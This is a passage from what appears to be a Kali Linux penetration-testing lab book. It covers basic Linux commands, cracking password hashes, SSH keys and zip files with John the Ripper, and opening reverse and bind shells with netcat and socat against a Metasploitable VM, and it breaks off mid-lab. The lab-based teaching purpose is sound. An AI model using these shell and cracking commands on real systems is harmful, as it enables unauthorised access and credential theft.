is malicious. When this is done, a new column will appear to the right, telling
you if each process image is verified or not.



Lab 58. Fundamental Linux
Concepts

Lab Objective:
Learn how to use some fundamental Linux concepts.

Lab Purpose:
Some of the fundamental Linux concepts included in this lab are: adding
users and groups, using nano, installing packages, and important files and
directories.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The first step is to open a terminal in Kali Linux. All of the tools in this lab
are command line tools. We will begin by covering some of the most
important files and directories in this Linux OS. These files and directories
are typical locations you may want to look into when on a server or machine,
especially when in a CTF (Capture The Flag) competition.

You can navigate to any of the directories or files included in this section by
opening a terminal and typing:

cd /<directory-name>



/tmp—This is a directory which contains temporary files which
are deleted when the machine is shut down

/root—This is the root user’s home directory
/usr—This is where all software is installed
/var—This is the Linux miscellaneous directory
/sbin and /bin—This directory stores critical executable

binaries; you should be very careful when dealing with this folder
as any changes could permenantly ruin your Linux OS

/etc/passwd—This file stores all user information and is often
used to see all the users on a system

/etc/shadow—This file contains password hashes of all users on
the system and is only viewable by the root user

/etc/sudoers—this file is used to control the super user
permissions of every user on the system

/proc, /sys, /dev—These directories are populated by the linux
kernel every time a file system is mounted.

Task 2:
This next task will cover how to add users and groups on a Linux system.
This process can sometimes be manipulated to escalate privileges on a
system. We can add users and groups using the following commands:

adduser <username>
addgroup <groupname>



Only the root user will have permission to add users and groups, unless there
is an exploit for the system you are on. We can also add a user to a group
using the following command:

usermod -a -G <groupname> <username>

Task 3:
We will now cover installing packages on Linux, which is very important
when installing various tools on the OS. We will be using a packet manager
called apt, which is the most popular package manager in Debian-based
Linux distros. We can install any packet on Kali using the following
command:

sudo su -
apt install <package name>



This command, for example, will download the package from a repository
and install it before then returning to the terminal.

It is possible to run programs that require high privileges without switching
to the root user. For this, it is necessary to write “sudo” before using each
command. Kali will ask normal users for a password:

sudo apt install proxychains

In this case, we will be asked to enter the password of the logged-in “kali”
user, not the “root” user.

Task 4:
The final tool we will be covering in this lab is nano. Nano is a text editor
which is based in the terminal. We can open any file for editing by typing the
following:

nano md5sums.txt

You can move the cursor with the arrow keys in the nano text edit interface.
Use the ctrl + x key combination to exit nano. If you have made any changes



to the file, it will ask if you want to save it. Press Y to save and exit.



Lab 59. Linux Operations Advanced
Linux Operations

Lab Objective:
Learn how to use some basic fundamental Linux operations.

Lab Purpose:
In this lab, we will be running through some of the basic, fundamental Linux
tools. In this lab we will cover tools such as find, grep, ln, cp and mkdir.

Lab Tool:
Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The first step is to open a terminal in Kali. All of the tools in this lab are
command line tools. We will begin with a simple but useful tool, cp. The cp
function is an advanced file operation which mainly does the same thing as
mv, except cp will duplicate a file instead of moving it. The syntax looks like
the following:

cp md5sums.txt md5sums.txt.old



Task 2:
The next tool we will be using is mkdir. This tool allows you to make a new
directory to store files in. This operation is done using mkdir and the syntax
looks like the following:

mkdir ExamNotes examNotes

Let us remind you that the Linux file system is case sensitive. In fact, in this
example, ExamNotes and examNotes are completely separate directories.

Task 3:
Suppose that we have a file and that we want to confirm that this file is the
same as the original (ie: it has not been altered in any way) using hashing.



Take the “/etc/passwd” file as an example. To make changes on this file, we
copy it to our home directory:

cp /etc/passwd  ~/passwd

Now, we have a copy of the passwd file. Calculate md5 checksums of both
files:

md5sum /etc/passwd ~/passwd

As we can see, both files have same sizez and hash values. Now, let’s change
and save only one character in this cloned file:

nano ~/passwd



In this file, we just replaced 8 with 0. Save and exit from nano. Next, let’s
compare the sizes of both files. Same size. So, what about hash values? We
have saved these values before. Let’s check it with the builtin -c parameter of
the md5sum command:

md5sum -c md5sums.txt

The output of md5sum command indicated that a cloned copy has been
changed!



Let’s calculate the hash values of both files as follows:

A regular file on the file system, regardless of size, has a unique 32-byte
digest. That’s what we call a hash. Even if a single character changes in this
file, the entire hash value will be completely different.

Task 4:
The next tool we will cover is ln. ln is used in Linux for two different
purposes: hard linking and symbolic liking.

Hard linking completely duplicates the file and links the duplicate to the
original copy. This means that whatever is done to the created link is also
done the the original file. The syntax for this looks like the following:

ln <source> <destination>



When the content of the target file changes, the source file is changed in the
same way.

However, even if one copy is deleted, the information remains in the others,
undeleted.



Symbolic linking basically just references a file. The symbolic link itself has
no actual data in it at all and simply references another file. It is essentially
the same as a shortcut to a file on Windows. The syntax for a symbolic link
looks like the following:

ln -s <realfile> <link>

If the original file is deleted, the link will be broken and there will be no
reference anywhere.



Task 4:
The next tool we will cover is find. This is an incredibly useful tool that is
also simple to use. It allows you to find files. This tool is especially useful if
you are partaking in CTF competitions or hacking servers and you have to
find a file with the flag in it. Using find, this can be done in seconds. This
tool can be used in a number of ways.

We can list all the files in a directory by typing the following:

find <directory path>



If it is necessary to search within the whole filesystem, use /.

If you want to search for files owned by a certain user, the example usage
would be as follows:

find /tmp -user kali

If we want to search directories that we do not own, the find command will
give many error messages. To suppress this, it is enough to append
“2>/dev/null” at the end of the command:

find /tmp -user kali 2>/dev/null



We can also list every file owned by a specific group using the following
command:

find /tmp  -group root 2>/dev/null

It is also possible to search by referring to the opposite of a criterion. For this,
we put an exclamation mark just before writing the criteria:

find /etc ! -group root 2>/dev/null

In the above example, we wanted it to find files and directories that are not
under root group ownership.



We can use each file as a parameter to another command. In the example
below, the files that are not in the “root” group are displayed in detail with
the help of the “ls -al” command:

find /etc ! -group root -type f -exec ls -l {}    \; 2>/dev/null

Finally, we can search for a specific filename in a directory by typing the
following:

find /etc  -iname “*.conf”

It is worth noting, however, that find can only show you the files which you
have permissions to view. If you don’t have admin privileges, you will be



unable to view files requiring those privileges.

Task 5:
The final tool we will be looking at is grep. This is one of the most useful
commands on Linux. Grep allows you to find data within data, which is very
useful when working with large files or large outputs. The typical syntax for
this tool looks like the following:

grep <search string> <file> <file>
grep -R -i “qwe123” /usr/share/wordlists/ 2>/dev/null

In the above example, the string “qwe123” has been searched regardless of
case, in all files in all sub-directories of the indicated path.

We can search for a string (for example, a password) in a file with a lot of
data and display the line number this string is at using the following
command:

grep -n -R -i “1q2w3e4r” /usr/share/wordlists/ 2>/dev/null



Lab 60. Basic File Operations

Lab Objective:
Learn how to use some basic file operations in the Linux OS.

Lab Purpose:
File operations in Linux are used to modify file attributes such as
permissions, which allow users to read files, write to files, and execute
certain files.

Lab Tool:
Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The first step is to open a terminal in Kali. All of the tools in this lab are
command line tools. We will begin with one of the most fundamental
commands in the Linux OS, ls. This command can be used to list information
about every file and directory in a directory. To do this, open a terminal in
Kali and type the following:

ls



You will notice that all files in your home directory are listed in the termnal.
We can add some flags to this command to show us more information about
the contents of a directory. These flags can be found on the help page for this
command, which can be found by typing the following:

ls --help

For example, the following command will show us all files and directories in
a directory, including the ones which start with:



ls -al

In the figure above;

Permissions are in column 1,
User ownership in column 2,
Group ownership in column 3,
File size in column 4,
Date information in column number 5, and
Column number 6 contains the file / directory name.

Task 2:
The next command is a very simple one. You can create zero-sized files
using the touch command. Open a terminal and type the following to create
an empty file in the root directory called example.txt:

touch /root/example.txt

Task 3:
The next command we will be using is called cat. Cat is short for concatenate,
which means this command will output the contents of files to the console.
For example, we can output the contents of the “example.txt” file we created
in the task above, by typing the following:

cat /root/example.txt



Task 4:
In order to run a binary file in Linux OS, this attribute must be defined in that
file. Unlike Windows, extensions do not determine the executable attribute of
the file. When you need to give an attribute to a file that you know is
executable, the following sample command can be written:

chmod +x ~/file

These files can be executed by providing the absolute path. For example, if
you saved an executable binary file to the home directory of kali user, this
would be the command to execute this file:

~/file  or calling with full path  /home/kali/file



Task 5:
This final command allows us to change the user without having to log out
and log back in again. For instance, if we are logged in as the “kali” user and
want to change to “root”, we would run the following command:

sudo su –

When asked, enter “kali” as default password if it has not been changed
before.

Then, change to “kali” user again:

su – kali

There’s no need to input password when changing from “root” user to any
unpriviledged user like “kali”.



Lab 61. Advanced File Operations

Lab Objective:
Learn how to use some advanced file operations for easier file manipulation.

Lab Purpose:
File operations are used in Linux to create, read, write, reposition, delete, and
truncate files.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The first step is to open a terminal in Kali. All of the tools in this lab are
command line tools.

We will begin this lab by covering the file operation chmod. This operation
allows you to set different permissions for a file and control who can read it.
These permissions are set using a three digit number. Each digit controls a
specific permission. The first digit covers the permissions for a user, the
second covers permissions for a group, and the third covers permissions for
everyone who is not a user or part of a group.

How permission works is summarized in the figures below:



Each permission section has (r, w, x) attributes. According to the purpose, the
decimal number corresponding to each section is calculated. For example, if
you want to give only read and write permission for a file’s users section, its
numerical equivalent will be 6. If you want to give only reading privilege to
group sections, its numerical equivalent will be 4. If you want to give read
and execute authority to the others section, the numerical equivalent of this
will be 5.



When we write them side by side, the permission string looks like this: 645

The syntax for this command looks like the following:

chmod 645 filename

These digits are typically used together to form a set of permissions for a file.

If we want to allow everyone on the system to read, write, and execute a file,
we can specify the following command:



chmod 777 file.bin

To revoke all accesses from same file, the command would be:

chmod a-rwx file.bin

Task 2:
The next command we will cover is chown. This command is used to change
the attributes of a file to different users and groups. For example, we could
change ownership of file.bin to “kali” and group “kali” with the following
command:

chown kali:kali file.bin

Note: this is only possible if you have greater permissions than the other user.
This tool is therefore best used as the root user. This tool can also be used to
change the group owner of a file without changing the user, which can be
done with the following command:



chown :root file.bin

Task 3:
The next command we will cover is mv. This command allows you to move
files from one place to another. The syntax for this command looks like the
following:

mv file.bin /tmp/

This command can be use for renaming a file.

Task 4:
The final command we will cover in this lab is rm. This command is used to
remove files and directories from your system. You should be very careful
when using this command as removing a critical file or directory from your
system could cause irreversable damage! The syntax for this command looks
like the following:

rm -rfv wordlists





Lab 62. Cracking Basic Hashes with
John the Ripper

Lab Objective:
Learn how to use John the Ripper to crack password hashes.

Lab Purpose:
John the Ripper is a free password cracking software tool. It works by using
the dictionary attack method to crack passwords.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
This tool comes pre-installed on Kali. If, for some reason, it is not installed
on your OS, you can install is using the following command:

sudo apt install john

We will begin by looking at the help screen for this tool. We can do this by
typing the following:

john



The basic syntax for this tool looks like the following:

John <options> <path to file>

When using formats with john, you can use all the available formats by
typing the following command:

john --list=formats

We will be covering this in more detail later in the lab.

Task 2:
John has a useful function. When we provide a hash file for John to crack, it
will attempt to guess the hash type before attempting to crack it. To begin,
copy and save the following hash to a text file:

2e728dd31fb5949bc39cac5a9f066498



Once this is done, type the following to provide John with the file to crack:

john hash1.txt

As you can see, John will attempt to guess the type of hash, but it is not
always accurate. It is better if we first analyse the hash type ourselves before
telling John which hash we are trying to crack. We can do this by visiting the
following site:

https://gchq.github.io/CyberChef/

This tool can be used to analyse any hash we provide and tell us the type of
hash it is. Copy the hash above and paste it into the Input section. Type
“analyse” in the search box on the left hand side, then drag the “Analyse
Hash” box into the Recipe section.

https://gchq.github.io/CyberChef/


The site will then analyse the hash and tell us its format. We can see that this
hash could be one of seven options.

Task 3:
Now that we have this information, we can return to John and attempt to
crack this hash. Open a terminal and type the following command:

john hash1.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

Let’s break this command down:

The --format section tells John the format of the hash we are
trying to crack. In this case, the format is MD5. The word “raw”
before the format type indicates to John that there is no salt being
used in the hash.



The --wordlist section tells John the wordlist we will be using
to crack the hash. You must uncompress first if this file has .gz
tail.

Finally, we need to specify the path to the file to be cracked.

To learn what we got, just type this comand:

cat ~/.john/john.pot

You will see your plain password near to hash value which is “biscuit” in this
case.

Task 4:
Let’s crack a hash with a different format. Use the following hash and
determine its hash type and crack it with John.

4bcb66d2a9047413225ea0b9fab1b0a2ac0393e5

We will first go to the site above and analyse the hash again.

Once this is done, we can take this information and return to John. We can
craft the following command to crack the hash:

john hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1



Task 5:
We will now use John to crack an NTLM hash. This type of hash is how
Windows stores user and service passwords. It is useful to know how to
obtain and crack these types of passwords for penetration tests. Copy the hash
below and save it to a text file:

5460C85BD858A11475115D2DD3A82333

Then, open a terminal and type the following in an attempt to crack the hash:

john hash3.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=nt



Task 6:
You can create your own hash files and try to hack them with various word
dictionaries. Here are some usage samples:

echo -n “secret” | md5sum | cut -f 1 -d “ “ > hash1.txt
echo -n “secret” | sha1sum | cut -f 1 -d “ “ > hash2.txt
echo -n “secret” | sha256sum | cut -f 1 -d “ “ > hash3.txt
echo -n “secret” | openssl dgst -sha512 | sed “s/(stdin)=//” > hash.txt

To create Windows NTLM hash:

iconv -f ASCII -t UTF-16LE <(printf “mushroom”) | openssl dgst -md4 | \
sed “s/(stdin)=//”  > hash.txt

You can learn which hashing mechanisms are supported by openssl by typing
this command;

openssl dgst -list



Lab 63. Cracking Advanced Hashes
with John the Ripper

Lab Objective:
Learn how to use John the Ripper to crack more advanced password hashes.

Lab Purpose:
John the Ripper is a free password cracking software tool. It works by using
the dictionary attack method to crack passwords.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In the previous lab, we cracked an NTLM hash. This is a type of hash used
by Windows OS for authentication purposes. In this lab, we will be cracking
the hashes contained in the “/etc/shadow” file on Linux OS. This requires a
few extra steps.

The /etc/shadow file contains password hashes for all users and services on a
system. The /etc/passwd file contains details about each user on a Linux OS.
In order to use John to crack the hashes in the shadow file, we need to
combine both of these files so that John can make sense of the information
we are providing it with. To do this, we need to use the “unshadow” tool that
comes built-in with the John package. The syntax for this tool looks like the
following:



unshadow /etc/passwd /etc/shadow > passwords.txt

Then, once we have this information, we can use this file to crack the
passwords for all users on the system with the following command:

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

Depending on the strength of your passwords, you may or may not find the
cleartext password for the users on your system.

Task 2:
We will now look at a different function for password cracking in John called
single mode. This mode doesn’t use a wordlist in an attempt to crack hashes.
Instead, it uses information such as the username of the user or the service a
user is logged into. It takes this information and trys to work out the
passwords by slightly changing the numbers and letters contained in the
username. For example, if the username is John, the tool will try John1,
John123, JOhN! etc. This process is known as word mangling, and can be
very effective when attempting to crack a user’s password.

For this task, use the same passwords.txt file as the previous task. Open a



terminal and type the following:

john --single --format=sha512crypt passwords.txt

The --single section tells john to use single crack mode.

As you can see, we have found the password for root, toor, which is simply
root spelled backwards.

Task 3:
To see all cracked passwords for a file, simply type the following:

john --show passwords.txt

As you can see, using the commands covered in this lab, we have managed to
crack the passwords for both the user kali, which is “kali”, and the root user,
whose password is “toor”.



Lab 64. More Advanced Uses of
John the Ripper

Lab Objective:
Learn how to use John the Ripper for more advanced password cracking
techniques.

Lab Purpose:
John the Ripper is a free password cracking software tool. It works by using
the dictionary attack method to crack passwords.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In the previous lab, we looked at cracking the password hashes contained in
the /etc/passwd file in Linux OS. In this lab, we will be covering how to
crack SSH keys using John, as well as how to crack password protected file
archives. Both of these techniques are often used as part of CTF (Capture The
Flag) competitions as well as penetration tests.

We will begin by looking at cracking SSH keys. Let’s create a protected SSH
key whose password is “mango”. Type this command on the terminal screen:

openssl genrsa -aes128 -out rsa.key 1024



When asked for the password, type “mango” twice. Our SSH key file was
created as rsa.key.

SSH keys are used to login to a device through SSH. This key will require a
password for authentication before allowing the user to use their SSH key to
login. We will be attempting to crack this password.

In order to do this, we need to convert the private key which is used to login
to the SSH session into a type of hash format which John can understand. We
will be using the “ssh2john” conversion tool to achieve this.



Task 2:
We will convert this file using the following command:

ssh2john <rsa key file> > <output file>

The ssh2john tool can be found in the following directory:

/usr/share/john/ssh2john.py

This means, that when using this tool, we will have to include the path to this
directory in the command. Note: Do not use python3 with the following
command as it will not work.The command will look like the following:

python /usr/share/john/ssh2john.py rsa.key > outputfile.txt

This is what the resulting file will look like:

Once this is done, we can run a very simple command using John to display



the SSH password for this user in plaintext:

john outputfile.txt --wordlist=/usr/share/wordlists/rockyou.txt

We can see in the screenshot above that the password is “mango”, as
expected.

Task 3:
The itfinal task we will be performing with John will be cracking a password
protected Zip file. To do this, we will first have to create our own password
protected zip-file. This can be done by creating a text document and then
typing anything you like in the document. Save the file, zip it, and set the
password as “mango” without the quotes, by typing the following command:

date > testfile.txt
zip -re task.zip testfile.txt



You will then be asked to enter a password, set it as mango.

Once this is done, you should now be able to see a zipped file on your Linux
system. We will now be using the “zip2john” tool to crack this password.
This can be done using the following command:

zip2john task.zip  > output.txt

This will create a hash of the zipped folder which John is able to crack.

We can use John to crack this hash by typing the following:

john output.txt --wordlist=/usr/share/wordlists/rockyou.txt

You will see John come up with “mango” as the password for the zipped file.



Lab 65. Establishing a Reverse Shell
with Netcat

Lab Objective:
Learn how to use netcat to establish a reverse shell on a target machine.

Lab Purpose:
Netcat is a computer networking utility for reading from and writing to
network connections using TCP or UDP.

Lab Tool:
Kali Linux VM and Metasploitable VM

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using netcat to create a reverse shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware or
VirtualBox, the same as Kali Linux. You can download the metasploitable
ISO file here: https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Setting up a reverse shell with netcat is very straighforward. The way a
reverse shell works is by creating a listener on our attack machine and getting
the target to connect back to this listener.

First, let’s find out the eth0 IP address of our Kali machine and write it down.
We will use this information on our Metasploitable VM. Open a terminal in
your Kali machine and type these following commands:

sudo su -
ifconfig
nc -l -v -n -p 443



192.168.56.103 is the IP address of our Kali VM in this case.

The syntax for starting a listener on a attacker machine looks like the
following:

nc -l -v -n -p 443

-l tells netcat that this will be a listener
-v is used to show us a verberos output
-n tells netcat not to use DNS or resolve host names
-p tells netcat which port to listen on

Task 3:
We will now switch to our target machine, which is Metasploitable VM. We
can use a number of payloads to get this machine to connect back to our
attack box, but, for now, we will simply be using netcat to demonstrate how
this works. Open a terminal on the Metasploitable VM and type the
following:



sudo nc 192.168.56.103 443 -e /bin/bash

You will then be asked for a password for sudo, the password by default is
“msfadmin” without quotes.

You will now have a shell connecting your Kali machine through netcat to
the target metasploitable machine. As you can see, you are now able to
execute commands from your Kali machine on the Metasploitable VM.



Lab 66. Establishing a Bind Shell
with Netcat

Lab Objective:
Learn how to use netcat to establish a bind shell on a target machine.

Lab Purpose:
Netcat is a computer networking utility for reading from and writing to
network connections using TCP or UDP.

Lab Tool:
Kali Linux VM and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using netcat to create a bind shell on a metasploitable
machine. If you are unfamiliar with metasploitable, it is an intentionally
vulnerable machine which can be loaded in VMware or VirtaulBox, the same
as Kali Linux. You can download the metasploitable ISO file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
metasploitable machine.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Setting up a bind shell with netcat is not as straightforward or practicle as a
reverse shell, but is still useful to know. To begin, we will go to our
Metasploitable VM and open a terminal. The way a bind shell works is by
creating a listener on our target machine and connecting to this listener from
our attack machine. Bind shells are not as commonly used as reverse shells as
firewalls often prevent outside connections to machines in this way.
However, if a reverse shell does not work on a target, it is worth trying a bind
shell.

First, let’s find out the eth0 IP address of our Metasploitable VM and write it
down. We will use this information on our Kali VM. Open a terminal screen
in Metasploitable VM and type this command:

ifconfig



192.168.56.102 is the IP address of our Metasploitable VM in this case.

Then, type the following commands:

sudo su -
sudo nc -lvnp 443 -e /bin/bash

You will then be asked for a password for sudo, the password by default is
“msfadmin”.

-l tells netcat that this will be a listener
-v is used to show us a verberos output
-n tells netcat not to use DNS or resolve host names
-p tells netcat which port to listen on

Task 3:
We will now switch to our attack machine, which is our Kali machine. We



can use a number of payloads to get the target machine to open a port and
listen for connections, but, for now, we will simply be demonstrating how
this works using netcat. Open a terminal screen on the Kali VM and type the
following:

nc 192.168.56.102 443

You will now have a shell connecting your Kali machine through netcat to
the target metasploitable machine. As you can see, you are now able to
execute some commands (whoami, id) from your Kali machine on the
Metasploitable machine.



Lab 67. How to Stabilise Netcat
Shells

Lab Objective:
Learn how to use various methods to stabilise netcat shells on a target
machine.

Lab Purpose:
Netcat is a computer networking utility for reading from and writing to
network connections using TCP or UDP.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using netcat to create a reverse shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware or
VirtualBox, the same as Kali Linux. You can download the Metasploitable
ISO file here: https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
If your are unsure how to establish a reverse shell on a target machine, please
revisit the previous lab which details how to do this. In this lab, we will be
using a numer of techniques to stabilise our established shell. Note: this
works for other shells and not just shells gained through netcat, so these
techniques are both important and useful to know.

Begin by establishing a reverse shell between your Kali VM and your
Metasploitable VM.

You may notice that this is quite an unstable shell. For instance, it is simple
to completely kill the shell by pressing ctrl + c. You may also notice that the
shell is non-interactive. This means that we cannot interact with programs
after executing them. For example, when launching SSH, it asks you if you
are sure you want to connect to a host and requires us to type Yes. We cannot
do this with a non-interactive shell, as we are limited to using programs
which do not require user interaction in order to run properly.

The reason for this is because netcat shells are actually processes running
inside a terminal, rather than actually being a terminal itself. This lab will



focus on getting us out of the process and into the raw terminal.

Task 3:
With your reverse shell established between your Kali VM and your
Metasploitable VM, we will attempt the first stabilisation technique using
Python. This technique typically only works on Linux machines as Python is
installed by default.

Step 1 – This entire process will be done using the shell connecting our Kali
VM to our Metasploitable machine. The first thing to do is to type the
following into our shell:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

This command uses python to spawn a bash shell which contains better
features. Some targets may need you to specify Python2 or Python3,
depending on the version installed on the system. Our shell will now look
more like a fully featured shell, but we still wont be able to use features such
as autocomplete or the arrow keys, and ctrl + c will still kill it.

Step 2 – For the next step, we will type the following:

export TERM=xterm

This command wil give us access to terminal commands such as clear.

Step 3- Now, press the ctrl + z key combination. Don’t be afraid if the shell
breaks, we’ll get it back on next step.

Step 4 – Finally, in our normal Kali terminal, we will now type the following
commands:

stty raw -echo
fg

This command will turn off our own terminal echo, which will give us access
to autocompletes, arrow keys, and ctrl + c to kill processes. The fully
functioning shell will then be brought back to the foreground and the screen



will be cleared after reset command:

reset

You can see a demonstration of the full technique here:

You can exit this shell and return to yor Kali terminal by typing exit. You can
also reset the echo that we turned off earlier, by typing “reset” in your
terminal. Do this if you think your terminal looks strange.



Lab 68. Getting a Reverse Shell
Using Socat

Lab Objective:
Learn how to use the socat tool to get a reverse shell on a target.

Lab Purpose:
Socat is a command line-based utility that established two bi-directional byte
streams and transfers data between them. Socat can be used for many
different purposes due to its versatility.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using socat to create a reverse shell on a metasploitable
machine. If you are unfamiliar with metasploitable, it is an intentionally
vulnerable machine which can be loaded in VMware, the same as Kali Linux.
You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Socat comes pre-installed on Kali Linux. The main difference between netcat
and socat is that the syntax for using socat is more difficult to understand.
Socat is used to make connections between two points. These points can be
anything. We will begin by creating a reverse shell connecting our Kali VM
to our Metasploitable VM.

First, let’s find out the eth0 IP address of our Kali VM and write it down. We
will use this information on our Metasploitable VM. Open a terminal screen
in Kali VM and type this command:

ifconfig



192.168.56.103 is IP address of our Kali VM in this case.

Then, establish a listener on our Kali VM by typing the following:

socat TCP-L:8080 -

This creates a listener on our Kali VM and is the equivalent of typing “nc -lvnp
8080” in netcat.

Task 3:
We will then switch to our Metasploitable VM and type the following to
connect back to our Kali VM:

socat TCP: 192.168.56.103:8080 EXEC:”bash -li”

If we return to our Kali terminal and attempt to execute commands such as
“id” and “whoami”, we can see that we have succesfully established a shell to
our metasploitable machine.



This is an unstable shell and it is not interactive, as you can see processes
such as SSH do not work. crtl + c will also kill the shell. This is a useful
technique to know, however, in the event that netcat does not work. Socat is
also very versatile and it is much easier to stabilise the shell, as you will see
in a later lab.

If we were to attempt to establish a reverse shell using socat on a windows
machine, we would need to change the syntax of the command connecting
back to our Kali machine from the Windows machine. The syntax would
change to the following:

socat TCP:<local IP of Windows Machine>:<port> EXEC:powershell.exe,pipes

This command will use the Windows Powershell instead of bash to create the
shell. The pipes options forces powershell to use Unix style standard input
and output, which makes it easier for us to use the shell.



Lab 69. Establishing a Bind Shell
Using Socat

Lab Objective:
Learn how to use the socat tool to get a bind shell on a target.

Lab Purpose:
Socat is a command line-based utility that established two bi-directional byte
streams and transfers data between them. Socat can be used for many
different purposes due to its versatility.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using socat to create a bind shell on a metasploitable
machine. If you are unfamiliar with metasploitable, it is an intentionally
vulnerable machine which can be loaded in VMware, the same as Kali Linux.
You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Socat comes pre-installed on Kali Linux. The main difference between netcat
and socat is that the syntax for using socat is more difficult to understand.
Socat is used to make connections between two points. These points can be
anything. We will begin by creating a bind shell connecting our Kali VM to
our Metasploitable VM.

First, let’s find out the eth0 IP address of our Metasploitable VM and write it
down. We will use this information on our Kali VM. Open a terminal screen
in Metasploitable VM and type this command:

ifconfig



192.168.56.102 is IP address of our Metasploitable VM in this case.

Then, establish a listener on our Metasploitable VM by typing the following:

socat TCP-L:8080 EXEC:”bash -li”

This creates a listener on our Metasploitable VM and is the equivalent to
typing “nc -lvnp 8080” in netcat.

Task 3:
We will then switch to our Kali VM and type the following to connect to our
Metasploitable VM:

socat TCP:192.168.56.102:8080 -

If we return to our Kali terminal and attempt to execute commands such as
“id” and “whoami”, we can see that we have succesfully established a shell to
our Metasploitable VM.



This is an unstable bind shell and it is non-interactive, as you can see
processes such as SSH do not work. Ctrl + c will also kill the shell. This is a
useful technique to know, however, in the event that netcat does not work.
Socat is also very versatile and it is much easier to stabilise the shell, as you
will see in a later lab.

If we were to attempt to establish a bind shell using socat on a windows
machine, we would need to change the syntax of the listener on our Windows
machine. The syntax for our listener on a Windows machine would change to
the following:

socat TCP-L:8080 EXEC:powershell.exe,pipes

This command will use the Windows Powershell instead of bash to create the
shell. The pipes option forces powershell to use Unix style standard input and
output, which makes it easier for us to use the shell.



Lab 70. Establishing a Stable Socat
Shell

Lab Objective:
Learn how to stabilise a shell with socat.

Lab Purpose:
Socat is a command line-based utility that established two bi-directional byte
streams and transfers data between them. Socat can be used for many
different purposes due to its versatility.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using socat to create a stable reverse shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware, the same
as Kali Linux. You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Socat comes pre-installed on Kali Linux. The main difference between netcat
and socat is that the syntax for using socat is more difficult to understand.
Socat is used to make connections between two points. These points can be
anything. We will begin by creating a reverse shell connecting our Kali VM
to our Metasploitable VM. We first need to establish a listener on our Kali
VM.

One of the reasons you might use socat over netcat for establishing a shell is
because we can establish a fully stable shell much more quickly and with
greater ease.

First, let’s find out the eth0 IP address of our Kali VM and write it down. We
will use this information on our Metasploitable VM. Open a terminal screen
in Kali VM and type this command:

ifconfig



192.168.56.103 is the IP address of our Kali VM in this case.

Then, establish a new listener on our Kali VM by typing the following:

socat TCP-L:8080 FILE:`tty`,raw,echo=0

This command will establish a listener on the port we specify. It will also
allocate a new tty and set the echo to zero from start, meaning we don’t have
to specify this later like we did with netcat (by hitting CTRL+Z and then
typing “stty raw -echo; fg”).

Task 3:
A normal socat listener can be connected to with any payload, but this new
listener cannot. We will need to use a specific socat command in order to
